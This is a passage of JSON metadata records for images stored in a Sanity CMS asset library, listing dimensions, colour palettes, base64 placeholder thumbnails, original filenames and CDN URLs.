background":"#13abeb","foreground":"#fff","population":0.7,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"AIVEN3744.jpg","path":"images/sczeoy4w/production/8b935b2462a5602129863c60187c7f241fdd548a-6000x4000.jpg","sha1hash":"8b935b2462a5602129863c60187c7f241fdd548a","size":18728031,"uploadId":"9ShA4vpfhv5ghrNjObyyZ9MvjRGpVyXS","url":"https://cdn.sanity.io/images/sczeoy4w/production/8b935b2462a5602129863c60187c7f241fdd548a-6000x4000.jpg"} {"_createdAt":"2024-01-10T11:08:58Z","_id":"image-8b97524efa1490aacd0bd1405abb179724006278-1544x801-png","_rev":"BPcLfKU310hDl60jaPfbf2","_type":"sanity.imageAsset","_updatedAt":"2024-01-10T11:08:58Z","assetId":"8b97524efa1490aacd0bd1405abb179724006278","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9275905118601748,"height":801,"width":1544},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABl0lEQVQokY3Py07bQBQGYL9BSyigElouFSo4lCKZDTvyeoBEs2rTh+AJEFsWSKiVSpVbW6OEJHY8HtvxeOacuYAmIRKoUtVfR2d1Ps0/zkbl4N3OwdLarutVj04//2x0/G7f7w56/fBuMPprwpbfO7++Obv8dnF94yxveuVNb/5NxfWqx5++NFq/u/2gNwiDERlFNCJJFM+G2N0PyA+/d9X2v3dunYX1vaWNvdJKxd2vntTqzY4/CKIwitN0zFjBiiLPmd2sGOeMsSJnPGM8zvJhRJ35td3F9Y+lslvxqse1erPtD0NCaFpwLqVERM65EAIAJgsRpdIaEGkydkpvd16tfpgrb9vatXqj/WcYEppkAlBrrZRCRACQUiqltI3RxgBgTDNnrrxdWnFfLm+53uEjDghNM0Bp72Z+Ks0sz/CL1++nuNmxtWk6nmKjjVJK2qinflL7OT6pfW39ug1GMU0ymNTWWqOUAtD+Vkqt/gPHTzAAFgXnAkAqraxU2nDA+B8vI0p7OMFcCEBUtvO9NveoTS6QJNkDP6XL32iuqL0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34404d","foreground":"#fff","population":0.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041b26","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2ab5cf","foreground":"#fff","population":0.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ca949d","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eab4ca","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac676c","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2ab5cf","foreground":"#fff","population":0.5,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"hasura-project-details.png","path":"images/sczeoy4w/production/8b97524efa1490aacd0bd1405abb179724006278-1544x801.png","sha1hash":"8b97524efa1490aacd0bd1405abb179724006278","size":31597,"uploadId":"mcI5dtFrLYS4QqwNyTRSI9dhgA1cAUzj","url":"https://cdn.sanity.io/images/sczeoy4w/production/8b97524efa1490aacd0bd1405abb179724006278-1544x801.png"} {"_createdAt":"2024-03-07T15:09:32Z","_id":"image-8b9823ee07eafbcf1de9d6732638979235296791-3180x840-png","_rev":"TOsxXx20RF0WqO4quZqEW6","_type":"sanity.imageAsset","_updatedAt":"2024-03-07T15:09:32Z","assetId":"8b9823ee07eafbcf1de9d6732638979235296791","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DWB4?T?I-EW-V]_M-;-qWBRk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.7857142857142856,"height":840,"width":3180},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAABYlAAAWJQFJUiTwAAABoElEQVQYlQGVAWr+AJydnbitra3JvLy8zsHBwdC+vr7Cury6dqvJsCiL3JgYecqHDjGeRQQtm0IELpxDBC6bQgQum0IELptDBDmZTQQAxgABdoSFGnuDimB7g4p+AKGhoXqzs7OFvr6+i7u8u5G7vryHuMO6V5vVpDyN25pFdsuFJzCgRQ8tnkINL59EDi6fQw8un0MPL59EDzCeRQ8onT0LcYmBKX6HjXmAh4+gAKioqBy+vr4fv7+/I6OloyyaoJstk6uXIIHCjCZ+yIozYrFwICuDPBEqgToRK4I7EiqCOxIqhDsSLIw+EC2YQg4tm0IKboh+Gn2HjUWAh49cAJmZmQCTk5MAysvKAAAAAAQOEQ8OGR8aEyo5LBY0TDgWKkIuFCE6JhIiQSgTIkIoFSJAJxYhPSYVIT4nDyRQLAcrfzsCaYJ4A3d/hQl6gYkMAJiYmQCRkZEAsbGxADw8PAIjIiIMHh4eGhsaGx4aFxkYGxobFh0dHRUdHh0VHR8dFx0fHRkdHh0aHR0dFBwaHAgXABEAWnVoAIuVnACFjZUAJZiMhx+7z6oAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d4c38","foreground":"#fff","population":1.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#102d19","foreground":"#fff","population":1.5,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#102d19","foreground":"#fff","population":1.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4c4","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b4e8bc","foreground":"#000","population":0.89,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#588864","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#42bc68","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"rag-reply.png","path":"images/sczeoy4w/production/8b9823ee07eafbcf1de9d6732638979235296791-3180x840.png","sha1hash":"8b9823ee07eafbcf1de9d6732638979235296791","size":117165,"uploadId":"72Hf57rfWQK4GnCIRGN281GOfcxYFpmQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/8b9823ee07eafbcf1de9d6732638979235296791-3180x840.png"} {"_createdAt":"2023-08-09T11:54:36Z","_id":"image-8bbf60f925098f24598aa89da0083c84d778b1e6-1378x762-png","_rev":"IoeBYHJJKm09E9ORwqCSL3","_type":"sanity.imageAsset","_updatedAt":"2023-08-09T11:54:36Z","assetId":"8bbf60f925098f24598aa89da0083c84d778b1e6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MFR:Qi~U~U0i-mo$ayWCWXt6?GIWIV-nNH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8083989501312336,"height":762,"width":1378},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAABoElEQVQokX2T607bQBCF8/7PU9JKFaK0/dEIU1HSpCqECIIaIseO7b1ffdBs7NQhEpaOZr2WP58znh01wiGvNPLKYMcsKu6SaJ9JDyapOtTCoe72m25Ne1x5OB/Rti3oGhkbIJSH1B7GxfSwl3UBxjpos4fmtcXLzhy0IRPcpfcOwNi2CLFFCBEhRoQQkrz3MMZAKQkhFdaFxM2S4cffGpO7OtVs0WC5UZAmJCBpRFRaEMQ5B2sttNZQSkEIAc45GsaxXDNc/i7x8brAp59FqhfTHRYvEsYNgP0idu7IGYHJnZQyQRkTCfhlWmJ8vYdR/Tqr8Fxo+BDJ1bHDtyKwlAqic/iwbnAxLXGWbTHOilS/zavUS2rVicMhuI9PDoeRe4fjLvbkrsG2sYjxv5GDw75S9D429ZIiHxzelviQbXGWFTj/VeLPs4DQ/ijZCXDYU4LSz2Fc4HHD8H2+w+ebMsGu7ps0RtS/E+AQOryn6MZYSKWQVxL3/wRmTxzzFccqV2l26cO93nW4d9nCOg+tDbSxMNaDDgJVGnrfzSypB74Ct5JN560DyMYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#426492","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#386aa2","foreground":"#fff","population":0.31,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6984a9","foreground":"#fff","population":1.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#abb7ce","foreground":"#000","population":0.8,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7ab4f9","foreground":"#000","population":0.23,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6984a9","foreground":"#fff","population":1.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#326ed6","foreground":"#fff","population":0.23,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Screenshot 2023-08-09 at 13.50.24.png","path":"images/sczeoy4w/production/8bbf60f925098f24598aa89da0083c84d778b1e6-1378x762.png","sha1hash":"8bbf60f925098f24598aa89da0083c84d778b1e6","size":142211,"uploadId":"sZDirgCYSoUjpytZhcYugx34gJZ9C6mP","url":"https://cdn.sanity.io/images/sczeoy4w/production/8bbf60f925098f24598aa89da0083c84d778b1e6-1378x762.png"} {"_createdAt":"2023-05-10T13:12:49Z","_id":"image-8be18a3c0b6402a6423e3a90be2171626e0e74e1-2216x368-png","_rev":"CehdQyS8z5lmiPrCV1DDDY","_type":"sanity.imageAsset","_updatedAt":"2023-05-10T13:12:49Z","assetId":"8be18a3c0b6402a6423e3a90be2171626e0e74e1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"400l-qj[fQj[ay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":6.021739130434782,"height":368,"width":2216},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAC4jAAAuIwF4pT92AAAAoUlEQVQImS2OO0tDYRiDz/AmT36PtQqtS/eiYJfqIFZEUKRQvCMtPa7+afmOHUJCLpBOsJBzJjga4MzkXMssRfMzknMqMxE5FpmUmQsu5UyLjEWmgpOWdWXeRW7knMusZF5FPg78JHIn8iCzGZg8inwNnX/9LHgp07qrrmB/GF6JbMr0cr4byrzJuRW5L7MT+RTpBb8yfZF2Zlvmp8i6zMUfTOwa07aTq9oAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":96.68,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04040c","foreground":"#fff","population":2.98,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":96.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#262672","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9b9bdd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#262672","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3f3fbf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-black.png","path":"images/sczeoy4w/production/8be18a3c0b6402a6423e3a90be2171626e0e74e1-2216x368.png","sha1hash":"8be18a3c0b6402a6423e3a90be2171626e0e74e1","size":26147,"uploadId":"Kgkroe6laDNCEzaH4NTHwqrtrUmZWRif","url":"https://cdn.sanity.io/images/sczeoy4w/production/8be18a3c0b6402a6423e3a90be2171626e0e74e1-2216x368.png"} {"_createdAt":"2022-06-15T20:02:49Z","_id":"image-8c1d53d5c5bded59b018f323eabd173fc0cd1820-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriSmc","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:51Z","assetId":"8c1d53d5c5bded59b018f323eabd173fc0cd1820","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MUQ9NAuP=}M{xaS,XlR5ofo#^*IAIUxaSg","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADLklEQVQokUWO20/bZhxA/eftZU/bpEmTtqml0h7aat16Y1xaNipm1FHoWrVjCpQ2jKYjEhQNVFAJAQLBIeRGYmKcfI4vcezvs50rl7T+/Sqe9nB03o4OVyLVn8SiMi0WlbBcMv4tK+a8XDbmJVm78Bu5bLwiSm3KtBoBm7WnbLsRYBUtwGR5yjbsgG03p23Tm6OmO0Npc4DL5KRAdGtPWt/Ycbd39qmwn2VxIc22Ygm2uS3Q7Z19K3d4XKtorKboXs2QZNN5N1dzZsdqdHXBrMZ2TPrfO9ZYXC7Xo3th7uIik5OcZKqA6cwRHhZKmMvLmMkWMZUWMZ0tolw2UDVcPC7XUI9H0X72M+p9X6Ex8iOSP4bRun0Lz3643ureGIxxFm29Nq2GXa3VsVqr+6bVgP+pQ9V0wagy0CoGqLkk6EuTkBv+1n9/40s/crsHoneu+uKl77Hz+RdN+OxrgaNOJ0SdDqVOB6nTAeq0kTltoKyJqmpCKpWDSGQLNlaWIBl+DvFnvTBz9xIMXb0MfO8tmBkdgRg/gnZvf+PDnXubHGWtEGUtehGgrAGM1dG2HCyKEr5deIuPJx7jQ34EHz0YxBfjv2HwTx7v372JV3ouY3/fL7g4H4LCZgRZ9L13uruxxjFWDznMoy510aXM9ygFQ1FgdXkZRh4Mw/3Bfnj6+wBMDlyBFw/7IPhyGsbHx6D35nV4PvYrFPbWwVUlbGqSd2qIq5xn2yHPsmzPqmHdMv2GZYB2LML6yhLMTk1C+J8ZWA1OQOzRd7A50QMrsxOwFHwC4aeDsDs/AUzc8Nt6ATt6we3q2VWuWZHfuERiVJHQ00vYqpaRKSJWDhMop2J4nIziUfQ1aov3UJu7htnQEKbD4ygv/4VucgFPSjvYJkk8qyTrvp5c49rF1BMnv39QFQ8qDsmXO0aRdPQj0tbypK3mSL0kEKewRlrZMDnZmyJ25G+iR4LEO1ghH8gu6SpCuS3HK+eKkAUt8Yo7IblvmqXMoFfOjrbUPH9qiPx5tcCfG3m+q+f4c+2A76oC/1EVeL8S58/lbb4tbfNnJM77WoL31QTfVYTRj6owBNp+zych5srS7BybmAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#38364a","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#584b12","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f54b3b","foreground":"#fff","population":5.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4ccb4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f54b3b","foreground":"#fff","population":5.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#618e96","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8630c","foreground":"#fff","population":1.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"8c1d53d5c5bded59b018f323eabd173fc0cd1820-1567x844.png","path":"images/sczeoy4w/production/8c1d53d5c5bded59b018f323eabd173fc0cd1820-1567x844.png","sha1hash":"8c1d53d5c5bded59b018f323eabd173fc0cd1820","size":1189574,"uploadId":"59Yq3k6haYQySChX3sXKP3vU6czJtzXX","url":"https://cdn.sanity.io/images/sczeoy4w/production/8c1d53d5c5bded59b018f323eabd173fc0cd1820-1567x844.png"} {"_createdAt":"2023-03-15T12:51:40Z","_id":"image-8c20de38935b283f88deb8249d5f4678a2aeda41-800x800-jpg","_rev":"0lF4kyZBi1fr8QymZ2oWkE","_type":"sanity.imageAsset","_updatedAt":"2023-03-15T12:51:40Z","assetId":"8c20de38935b283f88deb8249d5f4678a2aeda41","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAQADAQAAAAAAAAAAAAAAAAcBAggF/8QAJBAAAQMDBAIDAQAAAAAAAAAAAQIDBAAFEQYHEiETMSIyYXH/xAAXAQADAQAAAAAAAAAAAAAAAAABAgME/8QAGxEAAwACAwAAAAAAAAAAAAAAAAERAhMSITH/2gAMAwEAAhEDEQA/AOkdSyCzERhxTaSr5KSO8VMrZqmZH3EiwI8tbkB5RQttfeD+VUNRuMogKDjiEOH6AnsmovpGbAh7hqcu58banFJYW50OZqOV2I04cdTpfaVhJCkgpIIPoilWMxzZZ7xPv2r4xuclx0KcxjOAB+CvA3jSE3xhlJKW2080gHGDn3SlOl0O/YaWjcrU9rgoiR5/JpvpPkTyIH9pSlAMP//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#51362a","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5e3025","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5d4c3","foreground":"#000","population":4.4,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4c6d6","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5d4c3","foreground":"#000","population":4.4,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#977468","foreground":"#fff","population":2.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c47c6c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"olivier-van-grembergen.jpg","path":"images/sczeoy4w/production/8c20de38935b283f88deb8249d5f4678a2aeda41-800x800.jpg","sha1hash":"8c20de38935b283f88deb8249d5f4678a2aeda41","size":108793,"uploadId":"fi9eVGqNwIoGjOEXFyNGbFdca8KgiUnn","url":"https://cdn.sanity.io/images/sczeoy4w/production/8c20de38935b283f88deb8249d5f4678a2aeda41-800x800.jpg"} {"_createdAt":"2022-12-08T13:28:05Z","_id":"image-8cf7f1576ee5c55aaa18f48402dce64c3bdb94f1-512x512-jpg","_rev":"cwf6PSmkIH3MXtFHyrm5m7","_type":"sanity.imageAsset","_updatedAt":"2022-12-08T13:28:05Z","assetId":"8cf7f1576ee5c55aaa18f48402dce64c3bdb94f1","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eUM?i2L#~qH?NGpvcXx[IVt7J,tRRjX8t6=|R5M{WVWVozNGD%$*xG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAUGBwEI/8QAJBAAAgEEAQQCAwAAAAAAAAAAAQIDAAQFEQYSISJBMTIHUXH/xAAWAQEBAQAAAAAAAAAAAAAAAAAEBQb/xAAeEQACAgICAwAAAAAAAAAAAAABAgARAwQFMRIhUf/aAAwDAQACEQMRAD8A0vLXVlguO3uUdopRbRlwisCWPoVjdv8AkrlmRm6bnAquMlIJKKdqu/mpTjxx8mHvosiXd3QhATsGrbwe/wARfRJZRRSk/UAn37Gv1Q0yhuhLW5xx1WIYmvtUDNxxJWTFWbqCFaJSN9j8UriLNHDEkbKFVAANUp9GZ9iLM8m2B3Zlz9iKu/HphaY1Z7aGGOeTxaQL5a/tKUXGo8V9S9ymV22MisSQOpNtyjLQERpdN0qNDfelKU+pDn//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f352e","foreground":"#fff","population":2.56,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c71c2c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9f746f","foreground":"#fff","population":7.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9bcb2","foreground":"#000","population":5.86,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f23f49","foreground":"#fff","population":3.62,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f746f","foreground":"#fff","population":7.91,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c93036","foreground":"#fff","population":7.86,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"mathieu-anderson.jpg","path":"images/sczeoy4w/production/8cf7f1576ee5c55aaa18f48402dce64c3bdb94f1-512x512.jpg","sha1hash":"8cf7f1576ee5c55aaa18f48402dce64c3bdb94f1","size":26126,"uploadId":"ESCDl8eR1VXHirYxjL48YleClR5884wy","url":"https://cdn.sanity.io/images/sczeoy4w/production/8cf7f1576ee5c55aaa18f48402dce64c3bdb94f1-512x512.jpg"} {"_createdAt":"2024-08-29T08:42:13Z","_id":"image-8cf89fa3918b5ac029ad191e748366f92ad18de4-1200x628-png","_rev":"Rx1Nho763d29lawKrbhypj","_type":"sanity.imageAsset","_updatedAt":"2024-08-29T08:42:13Z","assetId":"8cf89fa3918b5ac029ad191e748366f92ad18de4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB8N*cs|ITs.Mx_4j?M{flRkD%WBt7WEt6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACQElEQVQokR3NaU/aAACA4f6DxUEPSk/aQi3MCwZORGVDjmIrtNwMjSxiVhQ0sDEBgeExAY8aQwT1xy6avF+fvABEZITFkmul6vKeLK83vvhbvkDPG+h7Nvqe9YuVb4PV4O1a6MEXenBvDBe9l97AzVpIt38+R7kGgNA5t68alNohubulXMbSQzV3F8/cS0ldVHQ5Nd7OTOX0czz7Iqpjv3gnqpNo4mVpdYTzHQAmM25fNSA2g1sdSb1SsqN45kZO3clJfTv9qOYnsexUTk2ThdfM7nM8O5FSr1+3pg7PLWkfvGGX9ygQbYbfz9upQVQZhGPDSOw2quqi+hhRxtHEk5J7Su88JQuTTXk8tzxk5q4px+gNLy6XQ1I7EusFpb9i/DIS+xeUrzelkT8yXA/fbMqPYWUsKnpUvRcV3eMfUPYzzNYlhStgxpTA2AI/f8AvaNb58uzSseCsC86G4Dy1LpzaFtoO9/knz4XgagvOpt3VYed7ZmsL5Vo43wc+QMpHJGFA0wYsb8B2jHgRIksQpcH00XsVlK2h7C/YcgzTVZRrYHzXbOugXBPlWoABVgizSlvyhLWI0HsGbM+I74PET4g6BEkNJA4g6hCmqzBVgekTlGtifN9s65jYBsLUARCJs4QyaytwjpKZ+WHEi0Z8HyI0mDqCqDJIHICkBtMVhD5GmLrZevaGrS0TU0csNWAGUUBUhbE0RH4H8V0jVgSJEkxqCF2B6QpEahBVRiwnJqaGsr8xvovxPZT7Y2JqJqb2H2I3rFqlKjetAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4570","foreground":"#fff","population":1.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":8.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d5dced","foreground":"#000","population":9.11,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8494b0","foreground":"#fff","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d5dced","foreground":"#000","population":9.11,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686f96","foreground":"#fff","population":1.95,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b74549","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cover (2).png","path":"images/sczeoy4w/production/8cf89fa3918b5ac029ad191e748366f92ad18de4-1200x628.png","sha1hash":"8cf89fa3918b5ac029ad191e748366f92ad18de4","size":161970,"uploadId":"hvFWfZ41rR86BrRXWd5RQ4kjcNp1asGV","url":"https://cdn.sanity.io/images/sczeoy4w/production/8cf89fa3918b5ac029ad191e748366f92ad18de4-1200x628.png"} {"_createdAt":"2022-06-30T19:56:47Z","_id":"image-8d21be09782a33292a91fd0c8d757eaaef1e6c39-750x117-png","_rev":"CK1sLU2mnwa3vmbYWEbFAM","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:10Z","assetId":"8d21be09782a33292a91fd0c8d757eaaef1e6c39","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"404.3sjbof%Lt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":6.410256410256411,"height":117,"width":750},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAIAAAAcOLh5AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAbElEQVQImS3L2RXDIBBDUZdiRhsD7r++BCefekf3mrZFm4lEoEaNUfeNMQTG/8gqFlQwGZGocd9XJJMCBLy3I1klwjrY4pmApejIjhMBdVnqZM105nTw4li7e69e3bF/ePV89tp7Pc9enS/+ABX5GfhMINt2AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443c44","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#434142","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7e7c7d","foreground":"#fff","population":2.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9f9c9e","foreground":"#000","population":0.17,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bdbbbd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7e7c7d","foreground":"#fff","population":2.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#817d80","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"8d21be09782a33292a91fd0c8d757eaaef1e6c39-750x117.png","path":"images/sczeoy4w/production/8d21be09782a33292a91fd0c8d757eaaef1e6c39-750x117.png","sha1hash":"8d21be09782a33292a91fd0c8d757eaaef1e6c39","size":14407,"uploadId":"7V3jUUt8ikaO0EYkWPXisg41DdsSZ2cj","url":"https://cdn.sanity.io/images/sczeoy4w/production/8d21be09782a33292a91fd0c8d757eaaef1e6c39-750x117.png"} {"_createdAt":"2023-11-27T14:27:27Z","_id":"image-8d304af84f8d50e1f8187a7117728673767ad016-606x717-png","_rev":"00HkATqwml6aoQnrO40cWq","_type":"sanity.imageAsset","_updatedAt":"2023-11-27T14:27:27Z","assetId":"8d304af84f8d50e1f8187a7117728673767ad016","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8451882845188284,"height":717,"width":606},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAYCAIAAAB1KUohAAAACXBIWXMAAAsTAAALEwEAmpwYAAACBklEQVQ4jZ2T247TMBCG/f7vwQ3ighfgAhCHW8QuQmr3oFVzaNqtZ2yPz3bQJEGqRKvN8utTDkp++7dnLJ52Q9MOu13PNPuZpt0PBynBANIVDCCJ4SD3w3HXtE3TtW3fdn3b7ft+AFDexxhTTPmclHKMKQT+JAANkTXGaG201toYIrLWhhDLonpR4zgKpfm/EMI8hCHyPiSeIeXM80z3MjFrGY/NqMg5T0SICgAR0Tmf2XAuNpy/L2YADoyIAIzROoZYr0Q912J